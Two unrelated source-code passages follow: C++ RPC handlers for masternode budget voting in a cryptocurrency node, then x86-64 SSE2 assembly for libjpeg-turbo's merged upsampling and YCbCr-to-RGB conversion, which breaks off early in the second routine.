if (fInvalid)
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Malformed base64 encoding");
CMasternode* pmn = mnodeman.Find(vin);
if (pmn == NULL) {
return "Failure to find masternode in list : " + vin.ToString();
}
CBudgetVote vote(vin, hashProposal, nVote);
vote.nTime = nTime;
vote.SetVchSig(vchSig);
if (!vote.CheckSignature()) {
// try old message version
vote.nMessVersion = MessageVersion::MESS_VER_STRMESS;
if (!vote.CheckSignature()) return "Failure to verify signature.";
}
std::string strError = "";
if (budget.UpdateProposal(vote, NULL, strError)) {
budget.mapSeenMasternodeBudgetVotes.insert(std::make_pair(vote.GetHash(), vote));
vote.Relay();
return "Voted successfully";
} else {
return "Error voting : " + strError;
}
}
UniValue mnfinalbudget(const UniValue& params, bool fHelp)
{
std::string strCommand;
if (params.size() >= 1)
strCommand = params[0].get_str();
if (fHelp ||
(strCommand != "suggest" && strCommand != "vote-many" && strCommand != "vote" && strCommand != "show" && strCommand != "getvotes"))
throw std::runtime_error(
"mnfinalbudget \"command\"... ( \"passphrase\" )\n"
"\nVote or show current budgets\n"
"\nAvailable commands:\n"
" vote-many - Vote on a finalized budget\n"
" vote - Vote on a finalized budget\n"
" show - Show existing finalized budgets\n"
" getvotes - Get vote information for each finalized budget\n");
bool fNewSigs = false;
{
LOCK(cs_main);
fNewSigs = chainActive.NewSigsActive();
}
if (strCommand == "vote-many") {
if (params.size() != 2)
throw std::runtime_error("Correct usage is 'mnfinalbudget vote-many BUDGET_HASH'");
std::string strHash = params[1].get_str();
uint256 hash(uint256S(strHash));
int success = 0;
int failed = 0;
UniValue resultsObj(UniValue::VOBJ);
for (CMasternodeConfig::CMasternodeEntry mne : masternodeConfig.getEntries()) {
std::vector<unsigned char> vchMasterNodeSignature;
std::string strMasterNodeSignMessage;
CPubKey pubKeyCollateralAddress;
CKey keyCollateralAddress;
CPubKey pubKeyMasternode;
CKey keyMasternode;
UniValue statusObj(UniValue::VOBJ);
if (!CMessageSigner::GetKeysFromSecret(mne.getPrivKey(), keyMasternode, pubKeyMasternode)) {
failed++;
statusObj.push_back(Pair("result", "failed"));
statusObj.push_back(Pair("errorMessage", "Masternode signing error, could not set key correctly."));
resultsObj.push_back(Pair(mne.getAlias(), statusObj));
continue;
}
CMasternode* pmn = mnodeman.Find(pubKeyMasternode);
if (pmn == NULL) {
failed++;
statusObj.push_back(Pair("result", "failed"));
statusObj.push_back(Pair("errorMessage", "Can't find masternode by pubkey"));
resultsObj.push_back(Pair(mne.getAlias(), statusObj));
continue;
}
CFinalizedBudgetVote vote(pmn->vin, hash);
if (!vote.Sign(keyMasternode, pubKeyMasternode, fNewSigs)) {
failed++;
statusObj.push_back(Pair("result", "failed"));
statusObj.push_back(Pair("errorMessage", "Failure to sign."));
resultsObj.push_back(Pair(mne.getAlias(), statusObj));
continue;
}
std::string strError = "";
if (budget.UpdateFinalizedBudget(vote, NULL, strError)) {
budget.mapSeenFinalizedBudgetVotes.insert(std::make_pair(vote.GetHash(), vote));
vote.Relay();
success++;
statusObj.push_back(Pair("result", "success"));
} else {
failed++;
statusObj.push_back(Pair("result", strError.c_str()));
}
resultsObj.push_back(Pair(mne.getAlias(), statusObj));
}
UniValue returnObj(UniValue::VOBJ);
returnObj.push_back(Pair("overall", strprintf("Voted successfully %d time(s) and failed %d time(s).", success, failed)));
returnObj.push_back(Pair("detail", resultsObj));
return returnObj;
}
if (strCommand == "vote") {
if (params.size() != 2)
throw std::runtime_error("Correct usage is 'mnfinalbudget vote BUDGET_HASH'");
std::string strHash = params[1].get_str();
uint256 hash(uint256S(strHash));
CPubKey pubKeyMasternode;
CKey keyMasternode;
if (!CMessageSigner::GetKeysFromSecret(strMasterNodePrivKey, keyMasternode, pubKeyMasternode))
return "Error upon calling GetKeysFromSecret";
CMasternode* pmn = mnodeman.Find(activeMasternode.vin);
if (pmn == NULL) {
return "Failure to find masternode in list : " + activeMasternode.vin.ToString();
}
CFinalizedBudgetVote vote(activeMasternode.vin, hash);
if (!vote.Sign(keyMasternode, pubKeyMasternode, fNewSigs)) {
return "Failure to sign.";
}
std::string strError = "";
if (budget.UpdateFinalizedBudget(vote, NULL, strError)) {
budget.mapSeenFinalizedBudgetVotes.insert(std::make_pair(vote.GetHash(), vote));
vote.Relay();
return "success";
} else {
return "Error voting : " + strError;
}
}
if (strCommand == "show") {
UniValue resultObj(UniValue::VOBJ);
std::vector<CFinalizedBudget*> winningFbs = budget.GetFinalizedBudgets();
for (CFinalizedBudget* finalizedBudget : winningFbs) {
UniValue bObj(UniValue::VOBJ);
bObj.push_back(Pair("FeeTX", finalizedBudget->nFeeTXHash.ToString()));
bObj.push_back(Pair("Hash", finalizedBudget->GetHash().ToString()));
bObj.push_back(Pair("BlockStart", (int64_t)finalizedBudget->GetBlockStart()));
bObj.push_back(Pair("BlockEnd", (int64_t)finalizedBudget->GetBlockEnd()));
bObj.push_back(Pair("Proposals", finalizedBudget->GetProposals()));
bObj.push_back(Pair("VoteCount", (int64_t)finalizedBudget->GetVoteCount()));
bObj.push_back(Pair("Status", finalizedBudget->GetStatus()));
std::string strError = "";
bObj.push_back(Pair("IsValid", finalizedBudget->IsValid(strError)));
bObj.push_back(Pair("IsValidReason", strError.c_str()));
resultObj.push_back(Pair(finalizedBudget->GetName(), bObj));
}
return resultObj;
}
if (strCommand == "getvotes") {
if (params.size() != 2)
throw std::runtime_error("Correct usage is 'mnbudget getvotes budget-hash'");
std::string strHash = params[1].get_str();
uint256 hash(uint256S(strHash));
UniValue obj(UniValue::VOBJ);
CFinalizedBudget* pfinalBudget = budget.FindFinalizedBudget(hash);
if (pfinalBudget == NULL) return "Unknown budget hash";
std::map<uint256, CFinalizedBudgetVote>::iterator it = pfinalBudget->mapVotes.begin();
while (it != pfinalBudget->mapVotes.end()) {
UniValue bObj(UniValue::VOBJ);
bObj.push_back(Pair("nHash", (*it).first.ToString().c_str()));
bObj.push_back(Pair("nTime", (int64_t)(*it).second.nTime));
bObj.push_back(Pair("fValid", (*it).second.fValid));
obj.push_back(Pair((*it).second.vin.prevout.ToStringShort(), bObj));
it++;
}
return obj;
}
return NullUniValue;
}
UniValue checkbudgets(const UniValue& params, bool fHelp)
{
if (fHelp || params.size() != 0)
throw std::runtime_error(
"checkbudgets\n"
"\nInitiates a budget check cycle manually\n"
"\nExamples:\n" +
HelpExampleCli("checkbudgets", "") + HelpExampleRpc("checkbudgets", ""));
budget.CheckAndRemove();
return NullUniValue;
}
|
;
; jdmrgss2-64.asm - merged upsampling/color conversion (64-bit SSE2)
;
; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB
; Copyright 2009 D. R. Commander
;
; Based on
; x86 SIMD extension for IJG JPEG library
; Copyright (C) 1999-2006, MIYASAKA Masaru.
; For conditions of distribution and use, see copyright notice in jsimdext.inc
;
; This file should be assembled with NASM (Netwide Assembler),
; can *not* be assembled with Microsoft's MASM or any compatible
; assembler (including Borland's Turbo Assembler).
; NASM is available from http://nasm.sourceforge.net/ for
; http://sourceforge.net/project/showfiles.php?group_id=6208
;
; [TAB8]
%include "jcolsamp.inc"
; --------------------------------------------------------------------------
;
; Upsample and color convert for the case of 2:1 horizontal and 1:1 vertical.
;
; GLOBAL(void)
; jsimd_h2v1_merged_upsample_sse2 (JDIMENSION output_width,
; JSAMPIMAGE input_buf,
; JDIMENSION in_row_group_ctr,
; JSAMPARRAY output_buf);
;
; r10 = JDIMENSION output_width
; r11 = JSAMPIMAGE input_buf
; r12 = JDIMENSION in_row_group_ctr
; r13 = JSAMPARRAY output_buf
%define wk(i) rbp-(WK_NUM-(i))*SIZEOF_XMMWORD ; xmmword wk[WK_NUM]
%define WK_NUM 3
align 16
global EXTN(jsimd_h2v1_merged_upsample_sse2)
EXTN(jsimd_h2v1_merged_upsample_sse2):
push rbp
mov rax,rsp ; rax = original rbp
sub rsp, byte 4
and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits
mov [rsp],rax
mov rbp,rsp ; rbp = aligned rbp
lea rsp, [wk(0)]
collect_args
push rbx
mov rcx, r10 ; col
test rcx,rcx
jz near .return
push rcx
mov rdi, r11
mov rcx, r12
mov rsi, JSAMPARRAY [rdi+0*SIZEOF_JSAMPARRAY]
mov rbx, JSAMPARRAY [rdi+1*SIZEOF_JSAMPARRAY]
mov rdx, JSAMPARRAY [rdi+2*SIZEOF_JSAMPARRAY]
mov rdi, r13
mov rsi, JSAMPROW [rsi+rcx*SIZEOF_JSAMPROW] ; inptr0
mov rbx, JSAMPROW [rbx+rcx*SIZEOF_JSAMPROW] ; inptr1
mov rdx, JSAMPROW [rdx+rcx*SIZEOF_JSAMPROW] ; inptr2
mov rdi, JSAMPROW [rdi] ; outptr
pop rcx ; col
.columnloop:
movdqa xmm6, XMMWORD [rbx] ; xmm6=Cb(0123456789ABCDEF)
movdqa xmm7, XMMWORD [rdx] ; xmm7=Cr(0123456789ABCDEF)
pxor xmm1,xmm1 ; xmm1=(all 0's)
pcmpeqw xmm3,xmm3
psllw xmm3,7 ; xmm3={0xFF80 0xFF80 0xFF80 0xFF80 ..}
movdqa xmm4,xmm6
punpckhbw xmm6,xmm1 ; xmm6=Cb(89ABCDEF)=CbH
punpcklbw xmm4,xmm1 ; xmm4=Cb(01234567)=CbL
movdqa xmm0,xmm7
punpckhbw xmm7,xmm1 ; xmm7=Cr(89ABCDEF)=CrH
punpcklbw xmm0,xmm1 ; xmm0=Cr(01234567)=CrL
paddw xmm6,xmm3
paddw xmm4,xmm3
paddw xmm7,xmm3
paddw xmm0,xmm3
; (Original)
; R = Y + 1.40200 * Cr
; G = Y - 0.34414 * Cb - 0.71414 * Cr
; B = Y + 1.77200 * Cb
;
; (This implementation)
; R = Y + 0.40200 * Cr + Cr
; G = Y - 0.34414 * Cb + 0.28586 * Cr - Cr
; B = Y - 0.22800 * Cb + Cb + Cb
movdqa xmm5,xmm6 ; xmm5=CbH
movdqa xmm2,xmm4 ; xmm2=CbL
paddw xmm6,xmm6 ; xmm6=2*CbH
paddw xmm4,xmm4 ; xmm4=2*CbL
movdqa xmm1,xmm7 ; xmm1=CrH
movdqa xmm3,xmm0 ; xmm3=CrL
paddw xmm7,xmm7 ; xmm7=2*CrH
paddw xmm0,xmm0 ; xmm0=2*CrL
pmulhw xmm6,[rel PW_MF0228] ; xmm6=(2*CbH * -FIX(0.22800))
pmulhw xmm4,[rel PW_MF0228] ; xmm4=(2*CbL * -FIX(0.22800))
pmulhw xmm7,[rel PW_F0402] ; xmm7=(2*CrH * FIX(0.40200))
pmulhw xmm0,[rel PW_F0402] ; xmm0=(2*CrL * FIX(0.40200))
paddw xmm6,[rel PW_ONE]
paddw xmm4,[rel PW_ONE]
psraw xmm6,1 ; xmm6=(CbH * -FIX(0.22800))
psraw xmm4,1 ; xmm4=(CbL * -FIX(0.22800))
paddw xmm7,[rel PW_ONE]
paddw xmm0,[rel PW_ONE]
psraw xmm7,1 ; xmm7=(CrH * FIX(0.40200))
psraw xmm0,1 ; xmm0=(CrL * FIX(0.40200))
paddw xmm6,xmm5
paddw xmm4,xmm2
paddw xmm6,xmm5 ; xmm6=(CbH * FIX(1.77200))=(B-Y)H
paddw xmm4,xmm2 ; xmm4=(CbL * FIX(1.77200))=(B-Y)L
paddw xmm7,xmm1 ; xmm7=(CrH * FIX(1.40200))=(R-Y)H
paddw xmm0,xmm3 ; xmm0=(CrL * FIX(1.40200))=(R-Y)L
movdqa XMMWORD [wk(0)], xmm6 ; wk(0)=(B-Y)H
movdqa XMMWORD [wk(1)], xmm7 ; wk(1)=(R-Y)H
movdqa xmm6,xmm5
movdqa xmm7,xmm2
punpcklwd xmm5,xmm1
punpckhwd xmm6,xmm1
pmaddwd xmm5,[rel PW_MF0344_F0285]
pmaddwd xmm6,[rel PW_MF0344_F0285]
punpcklwd xmm2,xmm3
punpckhwd xmm7,xmm3
pmaddwd xmm2,[rel PW_MF0344_F0285]
pmaddwd xmm7,[rel PW_MF0344_F0285]
paddd xmm5,[rel PD_ONEHALF]
paddd xmm6,[rel PD_ONEHALF]
psrad xmm5,SCALEBITS
psrad xmm6,SCALEBITS
paddd xmm2,[rel PD_ONEHALF]
paddd xmm7,[rel PD_ONEHALF]
psrad xmm2,SCALEBITS
psrad xmm7,SCALEBITS
packssdw xmm5,xmm6 ; xmm5=CbH*-FIX(0.344)+CrH*FIX(0.285)
packssdw xmm2,xmm7 ; xmm2=CbL*-FIX(0.344)+CrL*FIX(0.285)
psubw xmm5,xmm1 ; xmm5=CbH*-FIX(0.344)+CrH*-FIX(0.714)=(G-Y)H
psubw xmm2,xmm3 ; xmm2=CbL*-FIX(0.344)+CrL*-FIX(0.714)=(G-Y)L
movdqa XMMWORD [wk(2)], xmm5 ; wk(2)=(G-Y)H
mov al,2 ; Yctr
jmp short .Yloop_1st
.Yloop_2nd:
movdqa xmm0, XMMWORD [wk(1)] ; xmm0=(R-Y)H
movdqa xmm2, XMMWORD [wk(2)] ; xmm2=(G-Y)H
movdqa xmm4, XMMWORD [wk(0)] ; xmm4=(B-Y)H
.Yloop_1st:
movdqa xmm7, XMMWORD [rsi] ; xmm7=Y(0123456789ABCDEF)
pcmpeqw xmm6,xmm6
psrlw xmm6,BYTE_BIT ; xmm6={0xFF 0x00 0xFF 0x00 ..}
pand xmm6,xmm7 ; xmm6=Y(02468ACE)=YE
psrlw xmm7,BYTE_BIT ; xmm7=Y(13579BDF)=YO
movdqa xmm1,xmm0 ; xmm1=xmm0=(R-Y)(L/H)
movdqa xmm3,xmm2 ; xmm3=xmm2=(G-Y)(L/H)
movdqa xmm5,xmm4 ; xmm5=xmm4=(B-Y)(L/H)
paddw xmm0,xmm6 ; xmm0=((R-Y)+YE)=RE=R(02468ACE)
paddw xmm1,xmm7 ; xmm1=((R-Y)+YO)=RO=R(13579BDF)
packuswb xmm0,xmm0 ; xmm0=R(02468ACE********)
packuswb xmm1,xmm1 ; xmm1=R(13579BDF********)
paddw xmm2,xmm6 ; xmm2=((G-Y)+YE)=GE=G(02468ACE)
paddw xmm3,xmm7 ; xmm3=((G-Y)+YO)=GO=G(13579BDF)
packuswb xmm2,xmm2 ; xmm2=G(02468ACE********)
packuswb xmm3,xmm3 ; xmm3=G(13579BDF********)
paddw xmm4,xmm6 ; xmm4=((B-Y)+YE)=BE=B(02468ACE)
paddw xmm5,xmm7 ; xmm5=((B-Y)+YO)=BO=B(13579BDF)
packuswb xmm4,xmm4 ; xmm4=B(02468ACE********)
packuswb xmm5,xmm5 ; xmm5=B(13579BDF********)
%if RGB_PIXELSIZE == 3 ; ---------------
; xmmA=(00 02 04 06 08 0A 0C 0E **), xmmB=(01 03 05 07 09 0B 0D 0F **)
; xmmC=(10 12 14 16 18 1A 1C 1E **), xmmD=(11 13 15 17 19 1B 1D 1F **)
; xmmE=(20 22 24 26 28 2A 2C 2E **), xmmF=(21 23 25 27 29 2B 2D 2F **)
; xmmG=(** ** ** ** ** ** ** ** **), xmmH=(** ** ** ** ** ** ** ** **)
punpcklbw xmmA,xmmC ; xmmA=(00 10 02 12 04 14 06 16 08 18 0A 1A 0C 1C 0E 1E)
punpcklbw xmmE,xmmB ; xmmE=(20 01 22 03 24 05 26 07 28 09 2A 0B 2C 0D 2E 0F)
punpcklbw xmmD,xmmF ; xmmD=(11 21 13 23 15 25 17 27 19 29 1B 2B 1D 2D 1F 2F)
movdqa xmmG,xmmA
movdqa xmmH,xmmA
punpcklwd xmmA,xmmE ; xmmA=(00 10 20 01 02 12 22 03 04 14 24 05 06 16 26 07)
punpckhwd xmmG,xmmE ; xmmG=(08 18 28 09 0A 1A 2A 0B 0C 1C 2C 0D 0E 1E 2E 0F)
psrldq xmmH,2 ; xmmH=(02 12 04 14 06 16 08 18 0A 1A 0C 1C 0E 1E -- --)
psrldq xmmE,2 ; xmmE=(22 03 24 05 26 07 28 09 2A 0B 2C 0D 2E 0F -- --)
movdqa xmmC,xmmD
movdqa xmmB,xmmD
punpcklwd xmmD,xmmH ; xmmD=(11 21 02 12 13 23 04 14 15 25 06 16 17 27 08 18)
punpckhwd xmmC,xmmH ; xmmC=(19 29 0A 1A 1B 2B 0C 1C 1D 2D 0E 1E 1F 2F -- --)
psrldq xmmB,2 ; xmmB=(13 23 15 25 17 27 19 29 1B 2B 1D 2D 1F 2F -- --)
movdqa xmmF,xmmE
punpcklwd xmmE,xmmB ; xmmE=(22 03 13 23 24 05 15 25 26 07 17 27 28 09 19 29)
punpckhwd xmmF,xmmB ; xmmF=(2A 0B 1B 2B 2C 0D 1D 2D 2E 0F 1F 2F -- -- -- --)
pshufd xmmH,xmmA,0x4E; xmmH=(04 14 24 05 06 16 26 07 00 10 20 01 02 12 22 03)
movdqa xmmB,xmmE
punpckldq xmmA,xmmD ; xmmA=(00 10 20 01 11 21 02 12 02 12 22 03 13 23 04 14)
punpckldq xmmE,xmmH ; xmmE=(22 03 13 23 04 14 24 05 24 05 15 25 06 16 26 07)
punpckhdq xmmD,xmmB ; xmmD=(15 25 06 16 26 07 17 27 17 27 08 18 28 09 19 29)
pshufd xmmH,xmmG,0x4E; xmmH=(0C 1C 2C 0D 0E 1E 2E 0F 08 18 28 09 0A 1A 2A 0B)
movdqa xmmB,xmmF
punpckldq xmmG,xmmC ; xmmG=(08 18 28 09 19 29 0A 1A 0A 1A 2A 0B 1B 2B 0C 1C)
punpckldq xmmF,xmmH ; xmmF=(2A 0B 1B 2B 0C 1C 2C 0D 2C 0D 1D 2D 0E 1E 2E 0F)
punpckhdq xmmC,xmmB ; xmmC=(1D 2D 0E 1E 2E 0F 1F 2F 1F 2F -- -- -- -- -- --)
punpcklqdq xmmA,xmmE ; xmmA=(00 10 20 01 11 21 02 12 22 03 13 23 04 14 24 05)
punpcklqdq xmmD,xmmG ; xmmD=(15 25 06 16 26 07 17 27 08 18 28 09 19 29 0A 1A)
punpcklqdq xmmF,xmmC ; xmmF=(2A 0B 1B 2B 0C 1C 2C 0D 1D 2D 0E 1E 2E 0F 1F 2F)
cmp rcx, byte SIZEOF_XMMWORD
jb short .column_st32
test rdi, SIZEOF_XMMWORD-1
jnz short .out1
; --(aligned)-------------------
movntdq XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA
movntdq XMMWORD [rdi+1*SIZEOF_XMMWORD], xmmD
movntdq XMMWORD [rdi+2*SIZEOF_XMMWORD], xmmF
add rdi, byte RGB_PIXELSIZE*SIZEOF_XMMWORD ; outptr
jmp short .out0
.out1: ; --(unaligned)-----------------
pcmpeqb xmmH,xmmH ; xmmH=(all 1's)
maskmovdqu xmmA,xmmH ; movntdqu XMMWORD [rdi], xmmA
add rdi, byte SIZEOF_XMMWORD ; outptr
maskmovdqu xmmD,xmmH ; movntdqu XMMWORD [rdi], xmmD
add rdi, byte SIZEOF_XMMWORD ; outptr
maskmovdqu xmmF,xmmH ; movntdqu XMMWORD [rdi], xmmF
add rdi, byte SIZEOF_XMMWORD ; outptr
.out0:
sub rcx, byte SIZEOF_XMMWORD
jz near .endcolumn
add rsi, byte SIZEOF_XMMWORD ; inptr0
dec al ; Yctr
jnz near .Yloop_2nd
add rbx, byte SIZEOF_XMMWORD ; inptr1
add rdx, byte SIZEOF_XMMWORD ; inptr2
jmp near .columnloop
.column_st32:
pcmpeqb xmmH,xmmH ; xmmH=(all 1's)
lea rcx, [rcx+rcx*2] ; imul ecx, RGB_PIXELSIZE
cmp rcx, byte 2*SIZEOF_XMMWORD
jb short .column_st16
maskmovdqu xmmA,xmmH ; movntdqu XMMWORD [rdi], xmmA
add rdi, byte SIZEOF_XMMWORD ; outptr
maskmovdqu xmmD,xmmH ; movntdqu XMMWORD [rdi], xmmD
add rdi, byte SIZEOF_XMMWORD ; outptr
movdqa xmmA,xmmF
sub rcx, byte 2*SIZEOF_XMMWORD
jmp short .column_st15
.column_st16:
cmp rcx, byte SIZEOF_XMMWORD
jb short .column_st15
maskmovdqu xmmA,xmmH ; movntdqu XMMWORD [rdi], xmmA
add rdi, byte SIZEOF_XMMWORD ; outptr
movdqa xmmA,xmmD
sub rcx, byte SIZEOF_XMMWORD
.column_st15:
%ifdef STRICT_MEMORY_ACCESS
; Store the lower 8 bytes of xmmA to the output when it has enough
; space.
cmp rcx, byte SIZEOF_MMWORD
jb short .column_st7
movq MMWORD [rdi], xmmA
add rdi, byte SIZEOF_MMWORD
sub rcx, byte SIZEOF_MMWORD
psrldq xmmA, SIZEOF_MMWORD
.column_st7:
; Store the lower 4 bytes of xmmA to the output when it has enough
; space.
cmp rcx, byte SIZEOF_DWORD
jb short .column_st3
movd DWORD [rdi], xmmA
add rdi, byte SIZEOF_DWORD
sub rcx, byte SIZEOF_DWORD
psrldq xmmA, SIZEOF_DWORD
.column_st3:
; Store the lower 2 bytes of rax to the output when it has enough
; space.
movd eax, xmmA
cmp rcx, byte SIZEOF_WORD
jb short .column_st1
mov WORD [rdi], ax
add rdi, byte SIZEOF_WORD
sub rcx, byte SIZEOF_WORD
shr rax, 16
.column_st1:
; Store the lower 1 byte of rax to the output when it has enough
; space.
test rcx, rcx
jz short .endcolumn
mov BYTE [rdi], al
%else
mov rax,rcx
xor rcx, byte 0x0F
shl rcx, 2
movd xmmB,ecx
psrlq xmmH,4
pcmpeqb xmmE,xmmE
psrlq xmmH,xmmB
psrlq xmmE,xmmB
punpcklbw xmmE,xmmH
; ----------------
mov rcx,rdi
and rcx, byte SIZEOF_XMMWORD-1
jz short .adj0
add rax,rcx
cmp rax, byte SIZEOF_XMMWORD
ja short .adj0
and rdi, byte (-SIZEOF_XMMWORD) ; align to 16-byte boundary
shl rcx, 3 ; pslldq xmmA,ecx & pslldq xmmE,ecx
movdqa xmmG,xmmA
movdqa xmmC,xmmE
pslldq xmmA, SIZEOF_XMMWORD/2
pslldq xmmE, SIZEOF_XMMWORD/2
movd xmmD,ecx
sub rcx, byte (SIZEOF_XMMWORD/2)*BYTE_BIT
jb short .adj1
movd xmmF,ecx
psllq xmmA,xmmF
psllq xmmE,xmmF
jmp short .adj0
.adj1: neg rcx
movd xmmF,ecx
psrlq xmmA,xmmF
psrlq xmmE,xmmF
psllq xmmG,xmmD
psllq xmmC,xmmD
por xmmA,xmmG
por xmmE,xmmC
.adj0: ; ----------------
maskmovdqu xmmA,xmmE ; movntdqu XMMWORD [edi], xmmA
%endif ; STRICT_MEMORY_ACCESS ; ---------------
%else ; RGB_PIXELSIZE == 4 ; -----------
%ifdef RGBX_FILLER_0XFF
pcmpeqb xmm6,xmm6 ; xmm6=XE=X(02468ACE********)
pcmpeqb xmm7,xmm7 ; xmm7=XO=X(13579BDF********)
%else
pxor xmm6,xmm6 ; xmm6=XE=X(02468ACE********)
pxor xmm7,xmm7 ; xmm7=XO=X(13579BDF********)
%endif
; xmmA=(00 02 04 06 08 0A 0C 0E **), xmmB=(01 03 05 07 09 0B 0D 0F **)
; xmmC=(10 12 14 16 18 1A 1C 1E **), xmmD=(11 13 15 17 19 1B 1D 1F **)
; xmmE=(20 22 24 26 28 2A 2C 2E **), xmmF=(21 23 25 27 29 2B 2D 2F **)
; xmmG=(30 32 34 36 38 3A 3C 3E **), xmmH=(31 33 35 37 39 3B 3D 3F **)
punpcklbw xmmA,xmmC ; xmmA=(00 10 02 12 04 14 06 16 08 18 0A 1A 0C 1C 0E 1E)
punpcklbw xmmE,xmmG ; xmmE=(20 30 22 32 24 34 26 36 28 38 2A 3A 2C 3C 2E 3E)
punpcklbw xmmB,xmmD ; xmmB=(01 11 03 13 05 15 07 17 09 19 0B 1B 0D 1D 0F 1F)
punpcklbw xmmF,xmmH ; xmmF=(21 31 23 33 25 35 27 37 29 39 2B 3B 2D 3D 2F 3F)
movdqa xmmC,xmmA
punpcklwd xmmA,xmmE ; xmmA=(00 10 20 30 02 12 22 32 04 14 24 34 06 16 26 36)
punpckhwd xmmC,xmmE ; xmmC=(08 18 28 38 0A 1A 2A 3A 0C 1C 2C 3C 0E 1E 2E 3E)
movdqa xmmG,xmmB
punpcklwd xmmB,xmmF ; xmmB=(01 11 21 31 03 13 23 33 05 15 25 35 07 17 27 37)
punpckhwd xmmG,xmmF ; xmmG=(09 19 29 39 0B 1B 2B 3B 0D 1D 2D 3D 0F 1F 2F 3F)
movdqa xmmD,xmmA
punpckldq xmmA,xmmB ; xmmA=(00 10 20 30 01 11 21 31 02 12 22 32 03 13 23 33)
punpckhdq xmmD,xmmB ; xmmD=(04 14 24 34 05 15 25 35 06 16 26 36 07 17 27 37)
movdqa xmmH,xmmC
punpckldq xmmC,xmmG ; xmmC=(08 18 28 38 09 19 29 39 0A 1A 2A 3A 0B 1B 2B 3B)
punpckhdq xmmH,xmmG ; xmmH=(0C 1C 2C 3C 0D 1D 2D 3D 0E 1E 2E 3E 0F 1F 2F 3F)
cmp rcx, byte SIZEOF_XMMWORD
jb short .column_st32
test rdi, SIZEOF_XMMWORD-1
jnz short .out1
; --(aligned)-------------------
movntdq XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA
movntdq XMMWORD [rdi+1*SIZEOF_XMMWORD], xmmD
movntdq XMMWORD [rdi+2*SIZEOF_XMMWORD], xmmC
movntdq XMMWORD [rdi+3*SIZEOF_XMMWORD], xmmH
add rdi, byte RGB_PIXELSIZE*SIZEOF_XMMWORD ; outptr
jmp short .out0
.out1: ; --(unaligned)-----------------
pcmpeqb xmmE,xmmE ; xmmE=(all 1's)
maskmovdqu xmmA,xmmE ; movntdqu XMMWORD [rdi], xmmA
add rdi, byte SIZEOF_XMMWORD ; outptr
maskmovdqu xmmD,xmmE ; movntdqu XMMWORD [rdi], xmmD
add rdi, byte SIZEOF_XMMWORD ; outptr
maskmovdqu xmmC,xmmE ; movntdqu XMMWORD [rdi], xmmC
add rdi, byte SIZEOF_XMMWORD ; outptr
maskmovdqu xmmH,xmmE ; movntdqu XMMWORD [rdi], xmmH
add rdi, byte SIZEOF_XMMWORD ; outptr
.out0:
sub rcx, byte SIZEOF_XMMWORD
jz near .endcolumn
add rsi, byte SIZEOF_XMMWORD ; inptr0
dec al ; Yctr
jnz near .Yloop_2nd
add rbx, byte SIZEOF_XMMWORD ; inptr1
add rdx, byte SIZEOF_XMMWORD ; inptr2
jmp near .columnloop
.column_st32:
pcmpeqb xmmE,xmmE ; xmmE=(all 1's)
cmp rcx, byte SIZEOF_XMMWORD/2
jb short .column_st16
maskmovdqu xmmA,xmmE ; movntdqu XMMWORD [rdi], xmmA
add rdi, byte SIZEOF_XMMWORD ; outptr
maskmovdqu xmmD,xmmE ; movntdqu XMMWORD [rdi], xmmD
add rdi, byte SIZEOF_XMMWORD ; outptr
movdqa xmmA,xmmC
movdqa xmmD,xmmH
sub rcx, byte SIZEOF_XMMWORD/2
.column_st16:
cmp rcx, byte SIZEOF_XMMWORD/4
jb short .column_st15
maskmovdqu xmmA,xmmE ; movntdqu XMMWORD [edi], xmmA
add rdi, byte SIZEOF_XMMWORD ; outptr
movdqa xmmA,xmmD
sub rcx, byte SIZEOF_XMMWORD/4
.column_st15:
%ifdef STRICT_MEMORY_ACCESS
; Store two pixels (8 bytes) of xmmA to the output when it has enough
; space.
cmp rcx, byte SIZEOF_XMMWORD/8
jb short .column_st7
movq MMWORD [rdi], xmmA
add rdi, byte SIZEOF_XMMWORD/8*4
sub rcx, byte SIZEOF_XMMWORD/8
psrldq xmmA, SIZEOF_XMMWORD/8*4
.column_st7:
; Store one pixel (4 bytes) of xmmA to the output when it has enough
; space.
test rcx, rcx
jz short .endcolumn
movd DWORD [rdi], xmmA
%else
cmp rcx, byte SIZEOF_XMMWORD/16
jb near .endcolumn
mov rax,rcx
xor rcx, byte 0x03
inc rcx
shl rcx, 4
movd xmmF,ecx
psrlq xmmE,xmmF
punpcklbw xmmE,xmmE
; ----------------
mov rcx,rdi
and rcx, byte SIZEOF_XMMWORD-1
jz short .adj0
lea rax, [rcx+rax*4] ; RGB_PIXELSIZE
cmp rax, byte SIZEOF_XMMWORD
ja short .adj0
and rdi, byte (-SIZEOF_XMMWORD) ; align to 16-byte boundary
shl rcx, 3 ; pslldq xmmA,ecx & pslldq xmmE,ecx
movdqa xmmB,xmmA
movdqa xmmG,xmmE
pslldq xmmA, SIZEOF_XMMWORD/2
pslldq xmmE, SIZEOF_XMMWORD/2
movd xmmC,ecx
sub rcx, byte (SIZEOF_XMMWORD/2)*BYTE_BIT
jb short .adj1
movd xmmH,ecx
psllq xmmA,xmmH
psllq xmmE,xmmH
jmp short .adj0
.adj1: neg rcx
movd xmmH,ecx
psrlq xmmA,xmmH
psrlq xmmE,xmmH
psllq xmmB,xmmC
psllq xmmG,xmmC
por xmmA,xmmB
por xmmE,xmmG
.adj0: ; ----------------
maskmovdqu xmmA,xmmE ; movntdqu XMMWORD [edi], xmmA
%endif ; STRICT_MEMORY_ACCESS ; ---------------
%endif ; RGB_PIXELSIZE ; ---------------
.endcolumn:
sfence ; flush the write buffer
.return:
pop rbx
uncollect_args
mov rsp,rbp ; rsp <- aligned rbp
pop rsp ; rsp <- original rbp
pop rbp
ret
; --------------------------------------------------------------------------
;
; Upsample and color convert for the case of 2:1 horizontal and 2:1 vertical.
;
; GLOBAL(void)
; jsimd_h2v2_merged_upsample_sse2 (JDIMENSION output_width,
; JSAMPIMAGE input_buf,
; JDIMENSION in_row_group_ctr,
; JSAMPARRAY output_buf);
;
; r10 = JDIMENSION output_width
; r11 = JSAMPIMAGE input_buf
; r12 = JDIMENSION in_row_group_ctr
; r13 = JSAMPARRAY output_buf
align 16
global EXTN(jsimd_h2v2_merged_upsample_sse2)
EXTN(jsimd_h2v2_merged_upsample_sse2):
push rbp
mov rax,rsp
mov rbp,rsp
collect_args
push rbx
mov rax, r10
mov rdi, r11
mov rcx, r12
